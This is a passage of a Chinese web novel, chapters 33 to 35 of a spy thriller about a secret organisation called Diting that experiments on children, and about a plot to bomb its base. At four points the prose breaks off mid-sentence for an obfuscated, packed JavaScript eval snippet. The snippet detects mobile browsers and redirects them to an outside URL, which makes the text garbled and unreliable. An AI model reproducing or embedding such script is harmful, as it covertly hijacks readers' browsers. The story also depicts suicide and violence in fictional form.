她气得胸口起伏,瞪着江城子,语气带着恨铁不成钢的恼怒:“你!你白长这么高的个子了!你刚才随便吼一嗓子,或者站起来挥挥拳头,他们就不敢这么欺负你了,你为什么不反抗啊?!” 江城子沉默地坐起身,拍了拍身上的尘土,没有回答。 女孩看着他身上被石子砸出的红痕,愣了一下,怒气像被戳破的气球般泄了下去,声音低了些: “……你没事吧?我、我去给你拿创口贴,你等等我。” 她转身就要跑开。 “不用了。”江城子终于开口。 他叫住她,模糊的视线努力聚焦在她脸上那块蝶形胎记上:“我没事。你……叫什么名字?” 女孩停下脚步,回过头:“院长给我起的名字,叫小亭。”她顿了顿,反问,“你呢?” “江平。” “你多大了?”小亭好奇地问。 “十五。”江城子说出这个数字时,已经做好了被嘲讽“老废物”的准备。 没想到,小亭的眼睛一下子亮了起来,模糊的五官都仿佛生动了许多: “哇,十五岁!那你就是我们院里最大的孩子了,我得叫你哥哥!” 江城子愣住了,看着她脸上那只微微振翅的“蝴蝶”,点了点头,算是默认了这个称呼。 然后,不动声色地将口袋中的木弩藏得更深。 其实那天,江城子藏了一把自己偷偷削制的小型木弩。 他用收集来的皮筋做弦,削尖了的木棍当箭,常在夜里,对着远处模糊的树干进行射击练习。 哪怕近视,他也能凭借感觉和步数估算出距离。 他原本的计划,是找个机会,在暗处,用这把弩,给那些带头欺负他的人一个狠狠的教训。 射中眼睛最好,让他们也尝尝看不清的滋味。 但小亭的出现,打乱了他的计划。 江城子突然觉得,或许……和小亭这样相处,也不错。 接下来的两年,江城子和小亭几乎形影不离。 他帮她赶走那些嘲笑她胎记的孩子,虽然他依旧沉默,但高大的身躯站在那里就是一种威慑;小亭则像只叽叽喳喳的雀鸟,跟在他身边,把他看不清的东西描述给他听,在他又快摔倒时及时拽他一把。 她是他浑浊世界里唯一清晰的坐标。 直到江城子十七岁那年。 院长突然召集了所有适龄的孩子,紧张又兴奋地宣布,有“不得了的大人物”要求进行一场选拔考试,被选中的孩子将拥有“光明的未来”。 江城子已经超龄了,本没有资格参加。 但小亭符合条件。 江城子使用了一些手段,让她拿到了那场考试的最高分。 然而,出乎意料的是,通过笔试之后,居然还有面试。 面试在一个封闭的房间,气氛远比笔试凝重。面对考官咄咄逼人的追问和施加的心理压力,原本就心怀忐忑的小亭,最终没能扛住,将江城子供了出来。 很快,江城子被带到了那个考官面前。 “江平?你胆子不小。知道替考作弊是什么后果吗?尤其是这种性质的选拔,足够让你进去坐几年牢了。” 江城子的脸色瞬间苍白了一瞬,心脏狂跳起来。 但他强迫自己保持冷静。 江城子抬起头,尽管视线模糊,却努力聚焦在考官的方向,清晰地提出了质疑: “这位……先生。抱歉,这场考试规模不大,场地安排在孤儿院,流程也称不上绝对正规。我不会仅凭您的一面之词,就承担本不属于我的罪责。” 他顿了顿,仔细观察着考官模糊的表情,继续道: “其次,您既然亲自来‘兴师问罪’,而不是直接取消小亭的资格,这本身就说明……我身上,或许有值得您——或者说,值得您背后组织——利用的地方。” 江城子深吸一口气,一字一句地说道: “如果组织需要,我愿意……肝脑涂地。” 办公室里陷入了短暂的沉寂。 考官审视着这个虽然瘦弱,却透着一股超乎年龄的冷静和胆识的少年。 半晌,考官的脸上露出一丝极淡的笑意。 “你很聪明,胆子也不小。”考官缓缓说道,“你叫江平是吧?” “是的。” “江平……”考官沉吟了一下,“名字不错,但不够响亮。从今天起,你就叫‘江城子’吧。” 破格录取,更名换姓。 这一切发生得太快。 江城子没有立刻表现出感激涕零,他只是微微躬身,然后抬起头: “感谢您的赏识。但我有一个条件。” “哦?”考官挑眉。 “请连同我的妹妹,一起录取。” “你妹妹?是谁?” “就是那个……在面试里说出我的女孩。”江城子平静地说。 “她叫江临仙。” 进入那个被称为“谛听”的组织,对江城子而言,是进入了一个全新的世界。 这里没有温情,只有冷冰冰的规则、残酷的训练和无休止的竞争。 但他如鱼得水。 他那善于观察、精于计算、为达目的可以不惜一切的头脑,在这里找到了最适合的土壤。 江城子晋升得飞快,成为了谛听有史以来最年轻的组长。 他终于品尝到了权力的滋味,那种掌控他人命运、不再受人欺凌、甚至可以制定规则的感觉,让他沉醉,无法自拔。 他终于不再是那个在孤儿院里任人欺辱的江平。 他是江城子,是令人敬畏的江组长。 某一天,江临仙冲进了他的办公室。 彼时,她已经是组织里一名出色的技术员。 “哥!”江临仙的声音带着压抑不住的愤怒,“你告诉我!为什么……为什么要用那么小的孩子做实验?!他们才多大?!还有那些被当成‘靶子’的孩子,他们……” 江城子从一堆文件中抬起头,眼镜后的目光冷静无波: “谁告诉你的?” “你别管谁告诉我的!”江临仙激动地打断他,“你回答我,为什么?!” 江城子放下笔,身体向后,靠在椅背上:“小亭,这些不是你该问的事,我是以你哥的身份跟你说这些的,你听好:只有幼儿阶段,基因的可塑性才最强,才最容易接受定向改造,这是效率最高的方式。” “那那些‘靶子’呢?!”江临仙逼近一步,声音尖锐,“那些被用来测试实验体攻击性的孩子呢,他们也是‘效率’的一部分吗?!” 江城子沉默了一下,推了推眼镜: “成人攻击性太强,容易在试炼过程中对实验体造成不可预估的伤害。只能用这些……本身就因存在各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江城子愣住了,所有汹涌的情绪仿佛瞬间被冻结。 江临仙看着他,一字一顿地,清晰地重复:“我宁愿老死在那个孤儿院里,也不愿意看你变成现在这样。” 办公室里陷入死一般的寂静。 江城子怔怔地看着她,看着她脸上决堤的泪水,看着她眼中彻底的失望。 过了好久,他才像是自言自语般,喃喃地开口: “如果……如果我从来没变过呢? “如果我一直都是这样呢?” 江临仙深深地看了他一眼,什么也没再说,只是默默地转过身,一步一步,朝着办公室门口走去。 在她拉开门的那一刻,她的声音飘了过来: “那就当我瞎了眼,居然认你当哥哥。” 那件事过去后没多久,江临仙出逃了。 消息传来时,江城子正在主持一个关于实验体潜能评估的重要会议。 他立刻中断了会议,放下了手中所有紧急或非紧急的要务,亲自带队,动用了所能调动的一切资源,不顾一切地去拦截江临仙。 在边境线附近,他亲手抓住了她。将她押上车,戴上手铐时,她脸上没有任何表情,眼神空洞得像一潭死水,那只“蝴蝶”也仿佛失去了所有生机,凝固在她脸上,像一个丑陋的疤痕。 第二天清晨,江城子第一个发现了她的尸体。 在冰冷的禁闭室里,她躺在蔓延开的暗红色血泊中,手腕上的伤口狰狞。 江城子站在门口,脚步像被钉住。 他罕见地湿了眼眶,视线彻底模糊一片,比他那该死的近视最严重时还要模糊。 温热的液体滑过脸颊,他隔着那片水光,看着江临仙脸上那只安静的“蝴蝶”。 为什么? 明明蝴蝶还在。 他怎么感觉,他的蝴蝶……已经飞走了? 办公室里最后一丝光线随着电脑屏幕的熄灭而消失,江城子陷在宽大的座椅里,许久没有动弹。 窗外的临昌市华灯初上,霓虹的光芒透过百叶窗的缝隙,在他脸上投下明明暗暗的条纹。 他揉了揉隐隐作痛的眉心,站起身,离开了办公室。 随即,江城子乘坐专用电梯,直达地下停车场,走向自己的DT3V。 拉开车门,指纹识别,启动引擎。 几乎是同时,车内响起了那个他既熟悉又感到刺耳的AI女声,语调轻快: “哥,你回来啦?今天一切顺利吗?” 江城子握着方向盘的手紧了紧,没有立刻回答。 他轻轻地叹了口气,低唤了一声: “小亭……” “哥,你又在说小亭了。小亭到底是谁呀?是你的新任务目标吗?” “小亭……” “哥,需要开启导航吗?我可以送你去任务地点哦。” “小亭,我真的……做错了吗?” “我听不懂你在说什么呢,哥。我们换个话题聊聊吧?” 33. 吐血 临昌机场。 乔韫压低了棒球帽的帽檐,宽大的墨镜遮住了她大半张脸,她将身上那件不起眼的灰色风衣拢紧,尽可能地将自己融入背景。 一股难以言喻的凄凉涌上心头。 她,堂堂谛听实验体小组新任组长,出来接个人,竟然连一个能使唤的手下都没有,完全的光杆司令。 简直凄凄惨惨戚戚。 而在乔韫视线范围内,有几个值得注意的男人。 他们虽穿着朴素,但行动节奏和眼神明显与周围匆忙旅客不同。 这些人分散在几个关键位置,无论是站姿,还是扫视人群的方式,都彰显着他们受过训练。 乔韫难免提防起来。 是江城子的人? 他动作这么快,消息这么灵通? 她下意识地将风衣裹得更紧,墨镜又往下拉了拉,几乎遮住了鼻梁。 必须万分小心。 就在这时,乔韫口袋里的手机震动起来,屏幕上跳动着“陈放”的名字。 她立刻接通,压低声音:“喂?” “乔韫,我靠,我刚落地,飞机还在滑行呢!什么事这么急?白玛那边的人只说让我一到就立刻联系你,听你安排。” 陈放的声音带着一丝劫后余生般的紧张,显然上次被绑的经历让他心有余悸,非常“听劝”。 “听着,陈放,你现在很危险,机场里可能有江城子的人。”乔韫语速很快,一边说,一边在脑中快速过了一遍早已烂熟于心的机场平面图,“你现在别急着拿行李,立刻,马上,离开当前区域。听我指挥。” “啊?又、又来?!”陈放的声音都变了调。 “闭嘴,听我说。你现在从B号廊桥出来对吧?往前走大概五十米,右手边有一个残疾人洗手间,相对偏僻。你先进去躲着,锁好门。等我通知再出来。” “去洗手间躲着?乔韫,这……” “不想再被抓起来就照做!”乔韫语气强硬地打断他,“我正往你那边靠近。我们最终在停车场B区,靠近出口的柱子那里汇合。记住,避开人群,走监控少的路,路线是……” 乔韫快速将一条迂回的行进路线报给陈放,同时自己也移动起来,朝着约定的停车场方向走去。 她必须确保陈放能安全到达,这是她计划里不可或缺的一环。 就在她穿过熙攘的人群,即将到达通往停车场的连接通道时,一个拖着硕大行李箱的男人迎面匆匆走来,似乎没看路,肩膀重重地撞了她一下。 “抱歉。”男人头也没抬,含糊地说了一句,脚步不停地拖着箱子离去。 乔韫被撞得踉跄了一下,皱了皱眉,但她此刻心思全在和陈放的通话上,便只是揉了揉被撞痛的肩膀,继续对着电话那头的陈放叮嘱: “对,就是那个方向,看到指示牌了吗?左转……” 她一边说,一边快步走进了停车场通道。 然而,就在即将踏入停车场时,她脑中猛地闪过一个念头,脚步瞬间顿住。 ——不对! 那个男人……他来的方向是登机口区域,拖着那么大一个行李箱,尺寸明显超过了随身行李的限制,怎么可能没办理托运? 是江城子的眼线。 “陈放,停下!”乔韫对着电话低吼,“更改路线,去……A区,快!” 电话那头的陈放刚按照指示走到停车场B区边缘,闻言一愣,下意识地问:“为啥?出什么……” 他话没说完,眼角的余光就瞥见不远处几个男人,正朝着他准备去的柱子方向合拢。 虽然他们穿着便装,但这有条不紊的行动,让陈放浑身的汗毛都竖了起来。 “操!”陈放低骂一声,根本来不及多想,立刻转身,不动声色地朝着另一个方向快步走去。 可他显然已经引起了对方的注意。 “目标警觉,在B区东南角。”其中一人对着衣领低声说了一句。 几乎同时,那几人不再掩饰,步伐加快,朝着陈放追了过来。 陈放顿觉头皮发麻,他咬紧牙关,拼命迈开腿狂奔,但对方的速度明显更快,距离在迅速拉近。 眼看就要被擒下。 千钧一发之际—— 砰! 一道枪声响起,精准地击中了陈放身后那人的小腿。 那人惨叫一声,扑倒在地。 追击的几人被这突如其来的攻击打乱了阵脚,动作一滞,迅速寻找掩体,警惕地望向枪声来源。 就在这时,一辆DT3V猛地窜出,以一个利落的甩尾,横停在了陈放面前。 副驾驶的车门向弹开。 “上车。”乔韫的声音从驾驶座传来。 陈放几乎是连滚带爬地扑进了车里,车门尚未完全关闭,DT3V已经开始行驶,轮胎摩擦地面,箭一般射出了停车场。 …… 半个小时后,DT3V停在了一个小区楼下。 乔韫带着惊魂未定的陈放,回到了她离开临昌之前买的房子。 这里积了一层薄灰,空气中弥漫着久未住人的沉闷气息。 “最危险的地方就是最安全的地方。”乔韫反锁上门,拉开窗帘一角警惕地看了看楼下,然后才转过身,对着瘫在沙发上喘粗气的陈放说道,“江城子短时间内应该查不到这里。” 陈放抚着胸口,好半天才顺过气,看着乔韫,眼神复杂: “乔韫,你……你现在到底是什么情况?” 乔韫走到他对面:“我现在是谛听实验体小组的组长。” 陈放:? “组、组长?!你???那江城子……” “他是副组长。”乔韫扯了扯嘴角。 “陈放,我没时间跟你绕圈子。我找你,是需要你帮我一个忙,一个很大的忙。” “我能拒绝吗?” 陈放有种极其不祥的预感。 “我要你帮我炸了谛听总部基地。” 陈放:…… 果不其然,乔韫直接忽略了陈放的问题,径自抛下自己的要求。 他就知道,这姑奶奶找他绝对没好事。 “你疯了,乔韫,你他*绝对疯了!……炸基地?你知道那是什么地方吗,你知道那里面有多少人、多少武器吗?这他*是自杀!!!” “我知道。”乔韫的表情没有任何变化。 “但我必须这么做,我得终止谛听计划。” “你终止计划关我屁事!”陈放激动地挥舞着手臂,“我是看不惯江城子那孙子!但、但我也惜命啊。乔韫,我跟你讲,我一跟你打交道就准没好事!上次差点被扭断脖子,这次差点被枪打穿。我不想再掺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506330|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你们这些破事了!我……” 他的话戛然而止。 因为站在他对面的乔韫,突然毫无预兆地发出一阵剧烈的咳嗽。她猛地弯下腰,身体颤抖着,脸色瞬间变得惨白。 “喂,乔韫?你没事吧?”陈放被她这突如其来的样子吓了一跳,下意识地上前一步。 然而,乔韫的咳嗽非但没有停止,反而愈发猛烈,她痛苦地蜷缩起身体,最终支撑不住,“咚”地一声瘫坐在地。 紧接着,在陈放惊恐万分的注视下,乔韫猛地张口,“哇”地一声,呕出了一大滩暗红色的液体。 血迹溅在她灰色的风衣上,斑驳刺眼。 “我靠!乔韫!!”陈放魂都快吓飞了,一个箭步冲过去,手忙脚乱地想扶她,“你怎么了?怎么会吐血?我、我送你去医院,马上!” 他试图去拉乔韫,却被乔韫推开。 乔韫抬起苍白的脸,嘴角还挂着血迹,眼神却执拗得可怕,声音气若游丝: “不……你不帮我,我就不去医院……” 陈放都快急哭了:“这他*是能拿来威胁的事吗?乔韫,你他*讲点道理!会死人的!!!” 像是为了印证他的话,乔韫眉头紧蹙,喉咙里发出痛苦的咕噜声,紧接着,又是一口鲜血从她口中涌出,染红了她胸前的衣襟。 这画面实在太有冲击力,陈放的心理防线彻底崩溃了。 “帮帮帮,我帮你!我他*帮你炸了那鬼地方行了吧?!”陈放几乎是带着哭腔吼了出来,“祖宗!我求你了,咱们先去医院!中不中啊?” 听到这句话,乔韫才松口,道: “你帮我把药拿来,就在……在沙发边上的柜子里,第二个抽屉……” “好好好,我这就去,你挺住啊!” 话音未落,陈放已然动身,拉开了抽屉。 ——里面只有一个标注着“假血”的瓶子。 陈放错愕回头。 刚才还虚弱不堪的乔韫,抬起手,用手背抹了把嘴角的血迹,然后,在陈放目瞪口呆的注视下,竟然……自己从地上站了起来。 动作虽然还有些慢,但哪里还有半点刚才那垂死的模样? 陈放僵在原地,大脑彻底宕机。 乔韫站直身体,甚至还颇为嫌弃地看了看自己沾满“血迹”的风衣前襟。 她转过身,慢条斯理地走到茶几边,抽了几张纸巾,仔细地擦拭起脸上和手上的“血迹”。 乔韫擦干净脸,回过头,看向依旧石化在原地的陈放,脸上露出了一个狐狸般狡黠的笑容: “你自己说的哈。要帮我办事,炸了基地。男子汉大丈夫,说话算话,不能反悔哦。” 陈放:…… “乔、韫!这……他*的……是……假……血?!” 乔韫耸了耸肩,将擦完手的纸巾扔进垃圾桶,笑容越发灿烂: “不然呢?真吐血哪吐得了那么多?——我演技还不错吧?” “你、你你你!” 陈放指着乔韫,你了半天,最终只挤出一句: “乔韫,你……你真是个疯子!” 乔韫收起笑容,走到他面前,拍了拍他的肩膀,语气变得认真起来: “谢谢夸奖。现在,疯子需要你帮忙炸个基地。具体细节,我们是不是可以开始谈了?” 34. 思念 “行……乔韫,你狠。” 陈放抹了把脸,语气带着点咬牙切齿,却又奇异地平静了下来: “但在我正式应下你这作死的活儿之前,你得告诉我,为什么?炸基地,你他*到底图什么?” 乔韫脸上的那点狡黠笑意淡去了,她走到窗边,背对着陈放,看着楼下的街景: “我受够了。” 陈放等了等,没等到下文,忍不住追问: “就这样?” “就这样。” 陈放沉默了。 过了很久,他突然低低地笑出声来。 “哈哈哈……好,是这样就再好不过了!”他止住笑,用力拍了一下大腿,“我也他*的受够了。受够了那些见不得光的实验,受够了江城子那副一切尽在掌握的嘴脸,受够了整天提心吊胆,怕自己哪天就成了‘废弃物’!” 他话锋一转:“但光受够没用。你得告诉我,白玛,她到底是什么人?她在这件事里,又扮演什么角色?如果……你的这个计划也只是为他人效力,我可就不会帮你了,处处受制,没意思。” 乔韫走回沙发坐下,摇了摇头: “这个,我暂时不能告诉你。你只需要知道,她会给我们提供一定的支持和掩护,但前提是,她不知道我们真正的计划。如果她知道我要炸基地,别说支持,她第一个就会出手清理门户。” 陈放皱了皱眉,消化着这个信息,然后又问:“也就是说,我们名义上的‘盟友’,实际上并不知道我们的真实计划?乔韫,你玩得这也太险了。” 他顿了顿,继续问道:“那……除了我,还有谁?你现在组织了哪些人参与?” 乔韫非常干脆地摊手:“目前,就你我二人。” 陈放:…… 他脸上的肌肉抽搐了一下,差点从沙发上跳起来:“就我们两个?!乔韫!你他*是不是太看得起我了?!那是谛听总部,不是炸公共厕所!就我们俩?去送死吗?!” “条件艰苦,同志多多忍耐。”乔韫语气没什么波澜,“我会试着把林听也拉拢过来。” 提到林听,陈放的表情复杂起来,他盯着乔韫:“你确定?经历了那些事之后,他还会愿意帮你?乔韫,你别忘了你是怎么对他的。” 乔韫的睫毛微微颤动了一下,避开了陈放探究的目光:“我没底。但总得试试。” 陈放叹了口气:“乔韫,你有没有想过,他如果知道你现在找他,仅仅是因为有事相求,需要他的力量……他心里会不会更不好受?” 乔韫沉默了,没有反驳。 陈放看着她这副样子,叹了口气,像是妥协,又像是给自己找条后路:“……行吧。指望你和实验体谈感情是我脑子进水,林听那边你自己搞定。不过,光靠我们三个,还是悬。我再给你推荐个人选吧。” 他拿出手机,快速地在备忘录里打了一个地址,递给乔韫。 乔韫接过来一看,屏幕上显示着—— “称心养老院”。 乔韫提着一篮看起来品相不错的水果,站在了称心养老院的大门前。 她按照前台护士的指引,穿过走廊,来到了一楼尽头的一个房间门口。 叩、叩、叩。 乔韫轻轻敲了三下门。 里面传来一个苍老,但吐字清晰的女声:“进来。” 乔韫推门而入。 房间很整洁,带着老年人居所特有的味道。 乔韫说不上这是股什么味道,但莫名的,这股味道让人联想到老人,也联想到死亡。 一个老太太正坐在靠窗的床上,头发梳得一丝不苟,鼻梁上架着一副老花镜,眯着眼,专注地看着手里的书。 听到开门声,她头也没抬,语气带着被打扰的不悦: “今天保洁来得这么早?都打扰到我看书了。” 乔韫将水果篮放在床头柜上,声音平和: “莫老师,我是乔韫,特地来看您的。” 老太太这才缓缓抬起头,透过老花镜片打量着她,眉头微蹙,重复道:“乔韫?” 她仔细端详着乔韫的脸,几秒后,老太太像是突然想起了什么,脸上闪过一丝明显的惊讶,但随即,她又迅速低下头,避开乔韫的视线,装作无事发生般,冷淡地说: “我不认识你。” 乔韫也不恼,自顾自在床边的椅子上坐下,微微一笑: “您这个反应,可不像是不认识我啊。不过没关系,我认识您就行——谛听计划,实验体小组的前任实验体总工程师,莫仪君,莫老师。” 莫仪君翻书的动作顿住了,但依旧没有抬头,她摘下老花镜,用一块软布仔细擦拭着,声音更冷了些: “我已经退休了,那些都是很久之前的事情了。” “我知道。”乔韫语气轻松,“我都说了,只是来看看您。也顺便……替我母亲,问候一下您。” “母亲”这两个字像是有某种魔力,让莫仪君拿着书的手倏然颤抖了一下。 她沉默了很久,久到乔韫以为她不会再开口时,她才张开嘴唇,说道: “你母亲……怕是要恨死我了吧。” 乔韫没有直接回答,而是从水果篮里拿出一个橘子,慢条斯理地开始剥皮。 她的动作很细致,甚至小心地挑出了那些白色的橘络。 “您是指,”她一边挑着橘络,一边语气平淡地说,“您当年提出那个‘人类身体机能可通过基因干预获得突破性进化’的理论,并极力推动将其应用于‘谛听计划’这件事吗?” 她将那个光洁饱满的橘子递到莫仪君面前:“的确,她恨死了。” 顿了顿,她又补充道:“考虑到您老人家牙口可能不好,我特地买的软和的水果。” 莫仪君看着眼前那团晶莹剔透的橘子,没有接。 她的手微微颤抖着。 乔韫也不勉强,抽出一张纸巾,将橘子放在上面,看着她: “不过,我倒是没想到。我还以为您见了我,会先问起实验的进度,或者……问起您的女儿。没想到,您开口问的,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506331|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的母亲。” 莫仪君的身体僵硬了一下。 她抬起头,目光第一次真正对上了乔韫的视线,神色复杂。 终于,她叹了口气: “兰山……她一切都好吗?” 乔韫愣了愣,随即笑了起来,笑容里带着点说不清道不明的意味: “我们都叫她小莫,叫久了,都快忘记她的本名了。莫兰山,这是个好名字,有力挽狂澜之势。但配上‘莫’这个姓,意思就完全相反了,成了‘不要拦住山’。 “身为母亲,您当初给她起这个名字,其实内心深处,是希望她能避开风雨,平凡顺遂,不要像您一样,去撼动那座名为‘命运’或‘常规’的大山吧?” 莫仪君像是被戳中了心事,猛地别开脸,冷哼一声:“兰山……她没有做实验的天赋,心思也不够狠,强求不来。” “是吗?”乔韫不置可否,“‘小莫’这个称呼,是她自己坚持要大家这么叫的。我想,她是立志要继承您的衣钵,才这样说的吧。她手下的实验体,已经有几个样本,初步实现了您当年提出的部分设想。从某种意义上来说,她做得比您还要……彻底。小莫,现在是个非常优秀的实验员。” 莫仪君彻底沉默了,肩膀微微塌了下去,像是承受不住某种重量。 乔韫看着她,轻声问道:“你们母女俩,有多久没见面了?” 莫仪君望着窗外,眼神空洞,过了好一会儿,才喃喃道:“快十年了吧……我也,记不清了。 “兰山的到来,其实是个意外,如果不是她父亲背地里扎破避孕套,我根本不会想到要个孩子。 “……让你知道这种见不得人的家事,真是……唉。 “我常年泡在实验室,月份大了才注意到自己怀了孕,当时我忙于一项核心实验,如果在这个时候引产,怕是要休养许久,团队都等不起,拖着拖着,她就出生了。 “我从没想过自己会成为母亲,在她的成长过程中,对她忽视许多。兰山总说她不是我的孩子,那群实验体才是,或许,这也是她立志成为实验员的原因吧。可这条路太苦了,我们家又不是没钱,她干嘛这么劳累自己呢? “我对她有太多的不理解,等她长大,我才发现,这孩子居然半点儿不亲我。我退休后,也不麻烦她,自己住进了养老院,她也一直没来看我一眼。 “前台的护士说,兰山偶尔会来问问我的情况,哈,只怕是在哄我呢……” 说完这些,莫仪君哽了哽,目光怔怔地落在对面空白的墙壁上,不知道在想些什么。 “你想见见她吗?”乔韫问。 房间里陷入了长久的寂静。 只能听到窗外偶尔传来的鸟鸣,和墙上挂钟秒针走动的滴答声。 莫仪君的手指紧紧攥着盖在腿上的薄毯,指节泛白。 她的嘴唇翕动着,似乎想说什么,又最终咽了回去。 最终,她像是用尽了全身力气,点了点头。 “哪有做母亲的不思念女儿的呢……麻烦你了,乔韫。” 35. 自由 DT3V行驶在返回基地的路上,车内,一片沉寂。 乔韫握着方向盘,目光落在前方不断后退的道路标线上,思绪却飘回了不久前。 乔韫家里。 陈放蹲在地上,检查着乔韫提前搞到的一些基础工具和电子元件,头也不抬地说: “光靠我们两个,加上一个不知道能不能搞定的林听,想炸了基地,跟拿鸡蛋碰石头没什么区别。我们需要更多的人,尤其是内部的人。” 乔韫靠在墙边,语气带着倦意: “陈师傅,饶了我吧。我现在可是个光杆司令,找谁?找江城子吗?” 陈放嗤笑一声:“那你不如直接把炸药包绑自己身上冲进去,可比其他弯弯绕绕的法子快多了。” 调侃完毕,他又露出一副认真的样子:“小莫。” 陈放吐出了这两个字。 “如果能拉拢她,就相当于拉拢了整个实验体小组最核心的技术支持,运气好的话,还能附带一大半人手。很多关键区域的权限、设备,没人比她更清楚,如果有她,成功率……” 陈放抬起头,伸出三根手指:“能提高至少三成。” 乔韫愣了一下,随即蹙起眉头:“小莫?她……似乎一直都不太喜欢我。更何况,她是江城子一手带起来的,对实验体有着近乎偏执的责任感,让她参与炸毁基地?可能性不大。” “不喜欢你是肯定的,你差点弄死她的宝贝六号,后来又‘骗’了九号。” 陈放一边说着,一边拍了拍手上的灰:“不过呢,凡事总有个突破口。我之前借着给她那辆DT3V安装AI系统的机会,偷偷看过她的行车记录仪数据。发现她每隔一两周,总会在一个固定的时间,开车去市郊的一家‘称心养老院’,停留时间不长,但很规律。” 他站起身,走到窗边,点了支烟: “我觉得奇怪,就顺手查了一下那家养老院。结果发现,里面住着一位登记名为‘莫仪君’的老人。这个名字,我记得在谛听早期的档案里出现过——前任实验体总工程师,理论奠基人之一。她退休后就像人间蒸发了一样,很多人都以为她早就死了。” “莫仪君?” 乔韫对这个名字有些陌生。 “嗯,理论上算是小莫的直属前辈,也是她亲妈。” 乔韫若有所思:“你是想……让我通过她母亲,来获取小莫的信任?” 陈放吐出一口烟圈,烟雾模糊了他的表情,他的声音有些含糊:“也只能这样试试看了。不然呢?你难道真想着去拉拢江城子吗?” “你怎么会想着调查小莫?” “那时候,江临仙刚死,疑点颇多,我就把组里的人都暗地里调查了一番。” “包括我?” “哈哈,这个嘛,你猜?” …… 乔韫轻轻吐出一口气。 她没想到,事情会进展得如此顺利。 莫仪君对女儿的思念,远超她的预期。 自从回到谛听,每一件事都仿佛脱缰的野马,完全不在她的掌控之内。 权力是空中楼阁,四周是看不见的敌人,连呼吸都要小心翼翼。此刻这意料之外的顺利,竟让乔韫感到一丝恍惚,甚至有些不知所措。 但这只是一个开始。 在拿着莫仪君这张牌去见小莫之前,有一个更重要,也更让她心情复杂的人,她必须去见。 合金门无声滑开。 乔韫走了进去,身后的门又悄然合拢,隔绝了外界。 九号实验屋。 房间依旧是那片令人窒息的纯白,墙壁、天花板、地板,甚至连唯一的桌椅床铺都是透明材质。林听坐在房间中央的椅子上,仍然赤衤果着上身,脊背挺得笔直。 听到脚步声,他缓缓抬起头,将目光落在乔韫身上。 那眼神很平静,没有怨恨,没有委屈,甚至没有波澜。 乔韫感觉喉咙发紧,脚步顿时有些滞涩。 但她仍强迫自己走到林听对面,在那张冰凉的透明椅子上坐下。 “你……”乔韫张了张嘴,发现声音有些干涩,她清了清嗓子,试图让语调听起来自然些,却反而显得更加生硬,“你还好吗?” 话一出口,她就想给自己一巴掌。 这算什么废话? 戴着抑制环,被关在这种地方,怎么可能好? 林听看着她,目光沉静,没有回答她的问题,只是很轻地反问了一句:“你呢?” 简单的两个字,却让乔韫的心脏像是被什么东西猛地攥了一下。 她避开林听的视线,看向他脖颈上的抑制环。 那下面掩盖着她亲手造成的伤口吗? 她不知道。 “我……没什么不好的。” 乔韫含糊地应道: “现在是实验体小组的组长了。” 她说出这句话,带着一种连自己都厌恶的的意味,近乎炫耀,又像是解释。 像在说:看,我没有骗你,我确实得到了权力,得到了“自由”,虽然过程……和你想象的不一样。 林听只是淡淡地“嗯”了一声,表示知道了,并没有流露出任何惊讶或者其他的情绪。 他的反应让乔韫更加无所适从。 她感到一阵焦躁。 乔韫知道周围布满了监控,每一个字都可能被监听,甚至被分析。她不能说出任何实质性的东西。 可除了那些不能说的,她发现自己和林听之间,似乎也早已无话可说。 “这里……还习惯吗?” 乔韫几乎是硬着头皮问出了下一个愚蠢的问题。 林听沉默地看着她,那目光平静得让她心慌。 过了几秒,他才缓缓开口,声音依旧很轻: “和以前一样。” 以前……在基地的日子。 乔韫的心又沉了下去。 她想起刚才在电脑记录里看到的,他每天都要被戴上、摘下抑制环,承受着电击和读心能力被强行压制的痛苦。 这就是他的“和以前一样”。 乔韫突然不知道该说什么了。 所有的语言在已成现实的残酷面前,都显得苍白无力。 她甚至不敢去看他的眼睛,生怕从那里面看到失望,或者更糟的——彻底的麻木。 “我……”乔韫深吸一口气,试图找些别的话头,“我可能会需要你的帮助。” 这句话脱口而出,带着恳求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506332|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但更多的,是利用。 【乔韫,你有没有想过,他如果知道你现在找他,仅仅是因为有事相求,需要他的力量……他心里会不会更不好受?】 乔韫突然想起陈放的话,呼吸一滞,将接下来的话语尽数打回肚子里。 连她自己都厌恶这样的自己。 林听的睫毛颤动了一下,依旧沉默着,只是看着她,仿佛在等待她的下文。 乔韫在他的注视下,险些落荒而逃。 